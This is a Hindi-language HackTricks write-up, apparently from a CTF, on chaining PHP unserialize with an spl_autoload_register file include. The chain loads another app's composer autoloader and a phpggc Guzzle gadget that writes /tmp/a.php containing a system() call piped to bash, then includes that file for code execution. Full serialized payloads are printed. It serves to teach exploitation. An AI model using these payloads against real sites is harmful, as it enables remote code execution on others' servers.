15 KiB
PHP - डिसीरियलाइजेशन + ऑटोलोड क्लासेस
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की व्यवस्था चाहिए? सदस्यता योजनाएं की जांच करें!
- The PEASS Family की खोज करें, हमारा संग्रह विशेष NFTs
- आधिकारिक PEASS & HackTricks swag प्राप्त करें
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स को hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके अपना योगदान दें।
पहले, आपको देखना चाहिए कि ऑटोलोडिंग क्लासेस क्या होती हैं।
PHP डिसीरियलाइजेशन + spl_autoload_register + LFI/Gadget
हम एक स्थिति में हैं जहां हमने एक वेबऐप में PHP डिसीरियलाइजेशन पाया है जिसमें phpggc
के अंदर कोई भी गैजेट प्रभावित नहीं है। हालांकि, उसी कंटेनर में एक अलग कंपोजर वेबऐप था जिसमें गैजेट प्रभावित लाइब्रेरी हैं। इसलिए, लक्ष्य था कि दूसरे वेबऐप के कंपोजर लोडर को लोड करें और इसका दुरुपयोग करें ताकि डिसीरियलाइजेशन के प्रभावित वेबऐप से एक गैजेट को लोड करें जो उस लाइब्रेरी का शोषण करेगा।
चरण:
- आपने एक डिसीरियलाइजेशन पाया है और वर्तमान ऐप कोड में कोई भी गैजेट नहीं है
- आप निम्नलिखित तरह के
spl_autoload_register
फ़ंक्शन का दुरुपयोग कर सकते हैं ताकि आप किसी भी स्थानीय फ़ाइल को.php
एक्सटेंशन के साथ लोड कर सकें - इसके लिए आप डिसीरियलाइजेशन का उपयोग करते हैं जहां क्लास का नाम
$name
में होगा। एक सीरीयलाइज़ किए गए ऑब्जेक्ट में क्लास के नाम में/
या.
का उपयोग नहीं किया जा सकता है, लेकिन कोड ने अंडरस्कोर ("_") को स्लैश ("/") में बदल दिया है। इसलिए,tmp_passwd
जैसा एक क्लास नाम/tmp/passwd.php
में बदल जाएगा और कोड इसे लोड करने का प्रयास करेगा।
एक गैजेट उदाहरण हो सकता है:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
यदि आपके पास एक फ़ाइल अपलोड है और आप एक फ़ाइल अपलोड कर सकते हैं जिसमें .php
एक्सटेंशन है, तो आप इस कार्यक्षमता का दुरुपयोग कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं।
{% endhint %}
मेरे मामले में, मेरे पास ऐसी कोई चीज नहीं थी, लेकिन उसी कंटेनर के अंदर एक और कॉम्पोजर वेब पेज थी जिसमें एक phpggc
गैजेट के लिए संकटग्रस्त पुस्तकालय थी।
- इस अन्य पुस्तकालय को लोड करने के लिए, पहले आपको उस अन्य वेब ऐप के कॉम्पोजर लोडर को लोड करना होगा (क्योंकि मौजूदा एप्लिकेशन का वन अन्य की पुस्तकालयों तक पहुंच नहीं होगा)। आवेदन के पथ को जानते हुए, आप इसे बहुत आसानी से प्राप्त कर सकते हैं:
O:28:"www_frontend_vendor_autoload":0:{}
(मेरे मामले में, कॉम्पोजर लोडर/www/frontend/vendor/autoload.php
में था) - अब, आप दूसरे ऐप कॉम्पोजर लोडर को लोड कर सकते हैं, इसलिए अब आपको
phpggc
पेलोड उत्पन्न करने के लिए समय है। मेरे मामले में, मैंनेGuzzle/FW1
का उपयोग किया, जिससे मुझे फ़ाइल सिस्टम के अंदर कोई भी फ़ाइल लिख सकती थी। - ध्यान दें: उत्पन्न गैजेट काम नहीं कर रहा था, इसे काम करने के लिए मैंने उस पेलोड
chain.php
को संशोधित किया और सभी विशेषताएं निजी से सार्वजनिक कर दीं। यदि ऐसा नहीं होता, तो स्ट्रिंग को डिसीरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स की विशेषताएं कोई मान नहीं रखती थीं। - अब हमारे पास तरीका है दूसरे ऐप कॉम्पोजर लोडर को लोड करने का और एक काम करने वाला phpggc पेलोड है, लेकिन हमें इसे एक ही अनुरोध में करना होगा ताकि गैजेट का उपयोग होने पर लोडर लोड हो। उसके लिए, मैंने एक सीरीयलाइज़ किए गए एरे को भेजा है जिसमें दोनों ऑब्जेक्ट्स हैं, जैसा कि निम्नलिखित है:
- आप पहले लोडर को लोड होते देख सकते हैं और फिर पेलोड
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- अब, हम एक फ़ाइल बना सकते हैं और लिख सकते हैं, हालांकि, उपयोगकर्ता वेब सर्वर के अंदर किसी भी फ़ोल्डर में लिख नहीं सकता। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP
system
को कुछ base64 के साथ बनाया जाता है जो/tmp/a.php
में बनाया जाता है। फिर, हम पहले प्रकार के पेलोड का पुनः उपयोग कर सकते हैं जिसे हमने LFI के रूप में उपयोग किया था ताकि अन्य वेबऐप के कंपोजर लोडर को लोड किया जा सके और/tmp/a.php
फ़ाइल को लोड किया जा सके। इसे डेसीरियलाइज़ेशन गैजेट में जोड़ें:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
पेलोड का सारांश
- एक अलग वेबऐप के कॉम्पोजर ऑटोलोड को लोड करें जो कंटेनर में ही है
- एक फीचर लोड करें जो दूसरे वेबऐप की लाइब्रेरी का उपयोग करेगा (डिसीरियलाइज़ेशन के लिए संकटपूर्ण पहले वेबऐप में कोई फीचर नहीं था)
- फीचर एक फ़ाइल बनाएगा जिसमें एक PHP पेलोड होगा जिसमें दुष्प्रभावी कमांड होंगी (/tmp/a.php में) (वेबऐप उपयोगकर्ता किसी भी वेबऐप के किसी भी फ़ोल्डर में लिखने के लिए अनुमति नहीं है)
- हमारे पेलोड का अंतिम हिस्सा उत्पन्न PHP फ़ाइल को लोड करेगा जो कमांडों को निष्पादित करेगा
मुझे इस डिसीरियलाइज़ेशन को दो बार कॉल करने की आवश्यकता थी। मेरे परीक्षण में, पहली बार /tmp/a.php
फ़ाइल बनाई गई थी लेकिन लोड नहीं हुई, और दूसरी बार यह सही ढंग से लोड हुई।
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- क्या आप साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की आवश्यकता है? सदस्यता योजनाएं की जांच करें!
- खोजें The PEASS Family, हमारा विशेष NFT संग्रह
- प्राप्त करें आधिकारिक PEASS और HackTricks swag
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे ट्विटर पर फ़ॉलो करें 🐦@carlospolopm.
- अपने हैकिंग ट्रिक्स साझा करें और PR जमा करके hacktricks repo और hacktricks-cloud repo को फ़ॉलो करें।